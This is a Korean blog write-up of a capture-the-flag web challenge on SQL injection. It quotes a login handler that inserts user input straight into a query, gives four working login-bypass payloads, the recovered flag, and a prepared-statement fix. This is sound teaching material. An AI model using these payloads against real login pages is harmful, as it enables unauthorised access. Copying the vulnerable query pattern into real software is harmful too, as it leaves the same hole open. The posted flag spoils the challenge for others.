CTF

Simple SQLi

whffu0123 2026. 5. 29. 19:06

Dreamhack Simple SQLi Write-up

Category: Web Hacking
Vulnerability: SQL Injection


문제 개요

로그인 서비스에 SQL Injection 취약점이 존재한다. 플래그는 flag.txt, FLAG 변수에 있으며, admin 계정으로 로그인하면 획득할 수 있다.


데이터베이스 구조

create table users(userid char(100), userpassword char(100))
insert into users values ("guest", "guest"), ("admin", 랜덤16바이트Hex)
┌─────────┬──────────────────────────────────┐
│ userid  │ userpassword                     │
├─────────┼──────────────────────────────────┤
│ guest   │ guest                            │
│ admin   │ (랜덤 생성된 32자리 Hex 문자열)    │
└─────────┴──────────────────────────────────┘

admin의 비밀번호는 서버 실행 시 랜덤으로 생성되므로 예측 불가능하다.


취약점 분석

/login 엔드포인트 코드

userid = request.form.get('userid')
userpassword = request.form.get('userpassword')

res = query_db(
    f'select * from users where userid="{userid}" and userpassword="{userpassword}"'
)

if res:
    userid = res[0]
    if userid == 'admin':
        return f'hello {userid} flag is {FLAG}'  # FLAG 출력!
    else:
        return f'hello {userid}'
else:
    return 'wrong'

 

취약점: 사용자 입력값을 검증 없이 SQL 쿼리에 직접 삽입 (RawQuery 방식)

원래 실행되는 쿼리:

SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}"

공격 방법

방법 1: -- 주석으로 비밀번호 조건 제거  (사용한 방법)

userid 입력:   admin"--
password 입력: 아무거나

실행되는 쿼리:

SELECT * FROM users WHERE userid="admin"-- " AND userpassword="아무거나"

-- 이후 주석 처리되어 실제 실행:

SELECT * FROM users WHERE userid="admin"

비밀번호 조건이 완전히 사라져 admin 행이 반환됨 → 로그인 성공!


방법 2: or "1" 로 항상 참 만들기

userid 입력:   admin" or "1
password 입력: 아무거나
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="아무거나"

userid="admin" 이 True → True or ... = True → 로그인 성공


방법 3: password 조건에 or 추가

userid 입력:   admin
password 입력: DUMMY" or userid="admin
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"

(False) or userid="admin" = True → 로그인 성공


방법 4: LIMIT으로 admin 행 직접 선택

userid 입력:   " or 1 LIMIT 1,1--
password 입력: 아무거나
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1

or 1 로 전체 행 반환 후 LIMIT 1,1 로 2번째 행(admin) 선택


풀이 단계

Step 1. guest / guest 로 정상 로그인 확인

Step 2. userid에 admin"-- 입력, password에 아무거나 입력

Step 3. Login 버튼 클릭

Step 4. FLAG 확인

hello admin flag is DH{c1126c8d35d8deaa39c5dd6fc8855ed0}

방어 방법

Prepared Statement 사용

# 취약한 코드 (RawQuery)
sql = f'select * from users where userid="{userid}"'
cursor.execute(sql)

# 안전한 코드 (Prepared Statement)
sql = 'select * from users where userid=?'
cursor.execute(sql, (userid,))
# 입력값을 SQL 명령어가 아닌 순수 데이터로 처리!

 

Prepared Statement는 입력값을 SQL 명령어로 해석하지 않고 데이터로만 처리하기 때문에 SQL Injection 자체가 불가능해진다.


핵심 개념 정리

개념 설명

RawQuery 입력값을 SQL에 그대로 삽입 → 취약
-- 주석 이후 SQL을 전부 무시
or 조건 앞 조건이 False여도 뒤가 True면 통과
LIMIT n,m n번째 행부터 m개 반환
Prepared Statement 입력값을 데이터로만 처리 → 안전

Flag

로그인 화면

 

 

admin 계정으로 로그인 성공 후 flag 확인

 

'CTF' 카테고리의 다른 글

Command Injection  (0) 2026.06.02
Mango  (0) 2026.06.01
CSRF - 2  (0) 2026.05.27
CSRF - 1  (0) 2026.05.27
XSS - 2  (0) 2026.05.27